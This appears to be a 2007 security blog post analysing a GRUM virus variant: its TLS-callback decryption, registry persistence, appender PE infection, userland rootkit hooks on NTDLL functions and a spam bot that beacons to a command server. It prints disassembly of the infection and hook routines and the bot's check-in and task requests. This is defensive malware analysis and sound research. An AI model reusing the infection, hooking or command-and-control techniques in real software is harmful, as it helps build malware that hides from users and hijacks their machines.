Blog
Analysis of Malware Spread via SPAM and ANI vulnerability
04.05.2007 - 6:22 PMPrevious Posts
April 2007+ March 2007
+ February 2007
+ January 2007
+ December 2006
+ November 2006
This blog post focuses on the installed binary file: 200.exe (MD5: b017cae51e4498c309690b8936f2fa79)
It's a variant of the GRUM Virus.
The File Infector Component
When disassembling the malicious application, we notice the entry point instructions are meaningless, implying the use of a TLS callback to decrypt it before the entry point is actually called. This is a common technique to fool reverse engineers. The TLS callback uses a few huge loops to generate useful values to decrypt the entry point code. Once decrypted, the TLS exits, and the decrypted entry point kicks in.
200.exe copies itself as WINLOGON.EXE in the current user's temp directory, executes itself to remain resident, and generates a .bat to delete itself.
"Software\Microsoft\Windows\CurrentVersion\Run" is modified, a new key is created, and the value is the full path to the malware, so that it can run again when Windows restarts.
All files present in the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run are also infected by code appending in order to restart every time the operating system boots (without adding a new registry key). Therefore, this malicious code is also an appender PE infector.
See Figure 1:
The virus makes a backup copy of all infected files as ".RGN" files, making disinfection a little easier.
Here is some code from the Appender virus:
.rsrc:01057CEB mov edi, [esi+IDH.e_lfanew] .rsrc:01057CEE add edi, esi .rsrc:01057CF0 movzx eax, [edi+INH32.FileHeader.NumberOfSections] .rsrc:01057CF4 dec eax .rsrc:01057CF5 imul eax, 28h ; Go to last Section HEADER .rsrc:01057CF8 movzx edx, [edi+INH32.FileHeader.SizeOfOH] .rsrc:01057CFC lea edx, [edi+edx+18h] .rsrc:01057D00 add edx, eax .rsrc:01057D02 push edi .rsrc:01057D03 mov eax, [edx+ISH.VirtualAddress] .rsrc:01057D06 add eax, [edx+ISH.SizeOfRawData] .rsrc:01057D09 mov [edi+INH32.OH.AddressOfEP], eax ; Virus Entry Point .rsrc:01057D0C mov edi, [edx+ISH.PointerToRawData] .rsrc:01057D0F add edi, [edx+ISH.SizeOfRawData] .rsrc:01057D12 add edi, [ebp+var_C] .rsrc:01057D15 lea esi, ds:401000h .rsrc:01057D1B mov ecx, 227B3h ; Virus Size .rsrc:01057D20 push ecx .rsrc:01057D21 rep movsb ; Copy Virus Code .rsrc:01057D23 pop ecx .rsrc:01057D24 pop edi .rsrc:01057D25 add [edx+10h], ecx .rsrc:01057D28 mov ecx, [edx+10h] .rsrc:01057D2B cmp ecx, [edx+8] .rsrc:01057D2E jbe short loc_1057D38 .rsrc:01057D30 mov [edx+8], ecx .rsrc:01057D33 add ecx, [edx+0Ch] .rsrc:01057D36 jmp short loc_1057D3E .rsrc:01057D38 .rsrc:01057D38 loc_1057D38: ; CODE XREF: sub_1057BF9+135j .rsrc:01057D38 mov ecx, [edx+8] .rsrc:01057D3B add ecx, [edx+0Ch] .rsrc:01057D3E .rsrc:01057D3E loc_1057D3E: ; CODE XREF: sub_1057BF9+13Dj .rsrc:01057D3E mov [edi+50h], ecx .rsrc:01057D41 mov [edx+ISH.Characteristics], 0E00000E0h .rsrc:01057D48 mov [edi+INH32.OH.Win32VersionValue], 12321243h ; Infection Mark
You can see a little infection marker: very basic infection code.
The Userland Rootkit Component
The malicious application uses Userland Rootkit techniques to hide itself in memory, and also hides the real winlogon application on disk. (It looks as if they wanted to hide the malicious file on disk, but because of a bug, only the legitimate winlogon is hidden.)
Here is a log from the free Userland Rootkit detector made by Gmer:
------------------------------------------------------- catchme 0.2 W2K/XP/Vista - userland rootkit detector by Gmer, 17 October 2006 http://www.gmer.net detected NTDLL code modification: ZwQueryDirectoryFile, ZwQuerySystemInformation scanning hidden processes ... winlogon.exe [1464] scanning hidden services ... scanning hidden autostart entries ... scanning hidden files ... C:\WINDOWS\system32\winlogon.exe 507904 bytes scan completed successfully hidden processes: 1 hidden services: 0 hidden files: 1 -------------------------------------------------------
The hidden process is the malicious winlogon, according to the GMER rootkit detector.
If you look at NTDLL in memory, you can indeed see the hooks used by the rootkit component:
.text:7C91DF5E ; Exported entry 234. NtQueryDirectoryFile .text:7C91DF5E ; Exported entry 1043. ZwQueryDirectoryFile .text:7C91DF5E .text:7C91DF5E ; ¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦ .text:7C91DF5E .text:7C91DF5E .text:7C91DF5E public ZwQueryDirectoryFile .text:7C91DF5E ZwQueryDirectoryFile proc near .text:7C91DF5E push 1406CBh ; NtQueryDirectoryFile .text:7C91DF63 retn .text:7C91DF63 ZwQueryDirectoryFile endp ; sp = -4
If you follow the hook, you can see, thanks to the IDA powerful load additional binary file:
seg000:001406CB push ebp seg000:001406CC mov ebp, esp seg000:001406CE add esp, 0FFFFFFFCh seg000:001406D1 push esi seg000:001406D2 push edi seg000:001406D3 push ebx seg000:001406D4 push dword ptr [ebp+30h] seg000:001406D7 push dword ptr [ebp+2Ch] seg000:001406DA push dword ptr [ebp+28h] seg000:001406DD push dword ptr [ebp+24h] seg000:001406E0 push dword ptr [ebp+20h] seg000:001406E3 push dword ptr [ebp+1Ch] seg000:001406E6 push dword ptr [ebp+18h] seg000:001406E9 push dword ptr [ebp+14h] seg000:001406EC push dword ptr [ebp+10h] seg000:001406EF push dword ptr [ebp+0Ch] seg000:001406F2 push dword ptr [ebp+8] seg000:001406F5 call original_function seg000:001406FA push eax seg000:001406FB call sub_140960 seg000:00140700 or eax, eax
The malicious application hooks more than two functions:
- ZwCreateThread
- ZwQueryDirectoryFile
- ZwQueryInformationThread
- ZwQuerySystemInformation
- ZwResumeThread
The Spam Component
The virus also includes a .dll file inside the infected application. After some research, we found that the actual .dll is also known as zAskop.dll.
In this variant, the .dll seems to be loaded as a binary file, using LoadLibraryEx, defeating simple debugging techniques like Olly LoadDLL. In the past, we have seen variants of this malware component packed with FSG or UPX. This one seems a bit different packwise, but the code is exactly the same.
Nothing happens on the network for about 25 minutes; the malicious file first sees if it can connect to a few remote SMTP servers, such as hotmail.com, yahoo.com, aol.com, google.com, and mail.com, on port 25. A lot of ISPs filter this port to avoid spams. Our malicious component generates a URL, and the end of the URL informs the remote malicious component if the client can connect to SMTP servers.
If the SMTP connection is possible, the malicious file sends something like this:
GET/spm/s_alive.php?id=XXXX&tick=XXXX&ver=207&smtp=ok HTTP/1.0\n
Otherwise:
GET/spm/s_alive.php?id=XXXX&tick=XXXX&ver=207&smtp=bad HTTP/1.0\n
"ok" or "bad" provides information regarding spamming ability.
The ID parameter is a machine identifier, generated randomly and stored in the registry.
The tick parameter is the number of milliseconds since Windows started.
This ID is important; the attackers care only about computers that have been = up for at least 5 hours, before doing anything interesting:< /FONT >
.text:10004BC3 loc_10004BC3: ; CODE XREF: sub_10004B20+92j .text:10004BC3 call ds:GetTickCount .text:10004BC9 cmp eax, 18000000 ; MS since Windows Booted .text:10004BCE jb less_than_5hours .text:10004BD4 push 0 ; protocol .text:10004BD6 push 1 ; type .text:10004BD8 push 2 ; af .text:10004BDA call ds:socket .text:10004BE0 push 0 ; hostlong .text:10004BE2 mov esi, eax
When the number of ticks is big enough, the malicious code goes on to the next stage: getting spam information.
GET/spm/s_tasks.php?id=XXXXXXXXXX&ver=207 HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; VS2) Host: Malicious IP Accept: */* Connection: Keep-Alive
This part sends a GET to the malicious web server (which is different from the one monitoring spam ability).
In return, we get:
HTTP/1.1 200 OK Date: Wed, 04 Apr 2007 10:47:02 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.6 X-Powered-By: PHP/4.4.6 Connection: close Content-Type: text/html <INFO> taskid=2 realip= infected machine ip hostname= infected machine hostname maxthread=5 from </INFO>
This part gives the malicious component some information: the task ID, IP/hostname of the machine, and the number of threads the malicious code can use to spam, here 5.
Then, we have a huge list of email victims who will receive the spam. (They are in alphabetical order.)
<EMAILS> m[removed]@[removed]fire.org m[removed]@hotmail.com [removed tons of emails to be spammed] </EMAILS> <TEXT> MIME-Version: 1.0 X-Originating-IP: [96.366.XX.XX] X-Originating-Email: [$TO_EMAIL] X-Sender: $TO_EMAIL Return-Path: $TO_EMAIL Received: $QM_RECEIVED Message-Id: <$QM_MESSID> To: <$TO_EMAIL> Subject: Online MedHelp From: Viagra.com <$TO_EMAIL> MIME-Version: 1.0 Importance: High Content-Type: text/html </TEXT>
And then the content of the email appears. At some point, the file was sending empty emails, as in this case. Here is how it looks when the spamming is in progress:
Some of the emails sent have only one picture, linking to a Web site that redirects visitors to Online Pharmacy Website. Here is a sample picture of such a spam:
It's interesting to see PE Infecting techniques used to do modern online illegal activities, such as spamming. This malicious code was well made, and it wouldn't be surprising if we started seeing more of this caliber in the future.
